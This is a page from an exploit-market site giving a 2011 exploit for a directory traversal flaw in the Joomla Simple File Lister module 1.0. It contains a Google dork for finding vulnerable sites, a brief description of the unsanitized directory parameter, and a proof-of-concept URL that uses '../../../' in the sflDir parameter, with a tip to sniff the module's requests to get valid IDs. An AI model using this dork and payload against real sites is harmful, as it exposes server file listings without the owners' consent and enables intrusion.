[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability

Author
evilsocket
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16783
Category
web applications
Date add
28-08-2011
Platform
php
# Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability
# Google Dork: "Simple File Lister v1.0" "Files in directory"
# Date: 2011-08-28
# Author: evilsocket ( evilsocket [at] gmail [dot] com )
# Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793
# Version: 1.0
 
---------------
Vulnerable code
---------------
 
[ helper.php line 51 ]
 
function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) {
  ...
  ...
  really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be
  read is not succesfully sanitized for relative paths
  ...
  ...
 
 
---
PoC
---
 
http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
 
To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.



#  0day.today [2024-11-16]  #